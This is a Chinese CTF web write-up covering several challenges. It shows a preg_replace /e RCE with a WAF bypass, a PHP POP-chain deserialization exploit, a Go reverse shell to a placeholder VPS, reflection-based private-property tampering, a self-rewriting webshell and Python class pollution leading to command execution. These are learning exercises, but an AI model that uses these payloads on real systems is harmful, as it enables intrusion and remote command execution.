web-本科组

ezrce

1
钥匙呢?

这个key不知道干什么的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include 'waf.php';
header("Content-Type:text/html;charset=utf-8");
echo "你是谁啊哥们?把钥匙给我!!!!<br/>";
$key=$_GET['key'];
$name=$_POST['name'];
$qaq=waf($_POST['qaq']);
if (isset($_GET['key'])){
highlight_file(__FILE__);
}
if (isset($name))
{
echo "你是".$name."大人????<br/>";
$name1=preg_replace('/hahaha/e',$qaq,$name);
echo "骗我的吧,你明明是 >>>>小小".$name1;
}
?>

preg_replace /e模式下rce,但是有waf

无参读取文件

1
name=hahaha&qaq=show_source(array_rand(array_flip(scandir(current(localeconv())))));

waf.php

1
2
3
4
5
6
7
8
9
<?php
function waf($poc)
{
if(preg_match("/[0-9]|get_defined_vars|getallheaders|next|prev|end|array_reverse|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $poc)){
echo "hacker! you die!<br/>";
return "666";
}
return $poc;
}

session rce

1
2
name=hahaha&qaq=system(session_id(session_start()));
cookie:PHPSESSID=cat${IFS}/flag

image-20230603110714596

ezpop

1
ezpop

看js源码得到pop3ZTgMw.php位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php
highlight_file(__FILE__);

class night
{
public $night;

public function __destruct(){
echo $this->night . '哒咩哟';
}
}

class day
{
public $day;

public function __toString(){
echo $this->day->go();
}

public function __call($a, $b){
echo $this->day->getFlag();
}
}


class light
{
public $light;

public function __invoke(){
echo $this->light->d();
}
}

class dark
{
public $dark;

public function go(){
($this->dark)();
}

public function getFlag(){
include(hacked($this->dark));
}
}

function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}

$un = unserialize($_POST['‮⁦快给我传参⁩⁦pop']); //
throw new Exception('seino');

这里有个unicode传参问题,用010打开文件复制16进制看。

然后pop+fastdestruct

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
 <?php
class night
{
public $night;

// public function __destruct(){
// echo $this->night . '哒咩哟';
// }
}

class day
{
public $day;

public function __toString(){
echo $this->day->go();
}

public function __call($a, $b){
echo $this->day->getFlag();
}
}


class light
{
public $light;

public function __invoke(){
echo $this->light->d();
}
}

class dark
{
public $dark;

public function go(){
($this->dark)();
}

public function getFlag(){
include(hacked($this->dark));
}
}

function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}
$dark2=new dark();
$day2=new day();
$light1=new light();
$dark1=new dark();
$day1=new day();
$n1=new night();
$n1->night=$day1;
$day1->day=$dark1;
$dark1->dark=$light1;
$light1->light=$day2;
$day2->day=$dark2;
$dark2->dark="php://filter/read=convert.base64-encode/resource=/flag";
// $dark1->dark="phpinfo";
$se=serialize($n1);
$se=str_replace('night":1:{s', 'night":2:{s', $se);
echo $se;

payload:

1
%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6%70%6F%70=O:5:"night":2:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}}}}}}

image-20230802001117584

test

1
test

image-20230609010355911

注册账号登录后回显

1
hello 账户名

但是不存在SSTI。

源码发现

image-20230609010545464

访问没啥东西,访问/profile/admin得到

1
{"result":"admin:513106c051f94528f1d386926aa65e1a"}

md5解密得到

1
asdfgh123

登录后给了一个文件上传的路由

1
Adm1nUp104d

image-20230609010647636

go反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

image-20230609010755944

unserialize

这里贴的是作者的wp,题目有非预期,waf过滤不到位

robots.txt得hint.php

1
you can use these(getProperty、ReflectionObject、getFlag、getProperty、setAccessible、setValue)function

分析提示,可以使用getProperty,ReflectionObject,getFlag,getProperty,setAcessible,setValue这些函数,考虑使用PHP反射类。

分析题目,发现当类getFlag被创建的时候,在触发销毁函数的时候,经过if判断,判断成功可以执行命令,但是password和cmd是private私有变量,发现eval函数,传入参数a,a传递的php代码可以被执行,调用了waf函数进行检测也就是hint.php所说的能够调用的函数,将上面代码复制下来用vscode打开,可以通过反射修改private变量。

编写exp

1
2
3
4
5
6
7
8
$flag = new getFlag();
$reflectionObject = new ReflectionObject($flag);
$reflectionProperty = $reflectionObject->getProperty('password');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($flag, "‮⁦ //how to change the private variables⁩⁦secret");
$reflectionProperty = $reflectionObject->getProperty('cmd');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($flag, 'cat /f*');

4、将页面代码复制到编辑器发现不可见字符

img

5、用GET方法传入a,得到flag

img

web-职业院校组

easyrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);

if (!empty($_GET['PK'])){
$PK = $_GET['PK'];
if(blacklistFilter($_SERVER["QUERY_STRING"])){
include $PK;
}else{
highlight_file(__FILE__);
}
}

function blacklistFilter($arg) {
$blacklist = array('[', ']', ';', '?', '@', '(', ')', 'exec', 'eval', '$', 'phpinfo', 'flag', 'data', 'filter', '#');
$filteredInput = str_replace($blacklist, '', $arg);
return $filteredInput;
}

blacklistFilter没有用,包含的还是$PK,直接

1
?PK=/flag

image-20230614173626067

mua

主页

1
2
3
4
5
6
7
8
9
 <?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'shell.php';
$code = '<?php if(md5($_GET["pass"])==="c9b30e9fad74c62c2d0e4bb820964913"){ if(strlen($_GET[\'cmd\'])<9){ @system($_GET[\'cmd\']); } } ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
?>

这里缺一个密码,扫目录得到

1
2
robots.txt
shell.php

robots.txt给出substr_pass.php

访问得到

1
<p style="display:none">hint:?a=xx&b=xx</p>

结合题目传递参数可以发现截取内容,但是限制了b(截取长度)为3并且有中文

最后得到内容

1
password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善

也就得到了小马的密码,直接命令执行

1
shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=nl /hf*

PPP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())

class Family:
def __init__(self):
pass

family = Family()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), family)
evilFunc("whoami")
return "fun"

@app.route('/eval',methods=['GET'])
def eval():
if request.args.get('cmd'):
cmd = request.args.get('cmd')
evilFunc(cmd)
return "ok"

app.run(host="0.0.0.0",port= 3000,debug=False)

通过原型链污染,给family添加恶意的evilFunc方法,shell参数改为true

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__kwdefaults__" : {
"shell" :true
}
}
}
}
}

然后rce,外带数据